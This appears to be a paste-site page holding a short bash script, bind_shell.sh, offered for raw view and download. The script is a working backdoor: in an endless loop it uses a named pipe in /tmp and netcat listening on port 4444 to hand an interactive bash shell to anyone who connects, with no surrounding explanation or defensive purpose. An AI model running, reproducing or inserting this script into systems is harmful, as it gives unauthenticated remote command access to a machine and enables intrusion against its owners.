Archives
Trending
Support
Login
bind_shell.sh
Raw
Download
Revise
#!/bin/bash
PORT=4444
echo "Starting bind shell on port $PORT..."
while true; do
rm -f /tmp/fifo
mkfifo /tmp/fifo
cat /tmp/fifo | /bin/bash -i 2>&1 | nc -lvnp $PORT > /tmp/fifo
sleep 5
done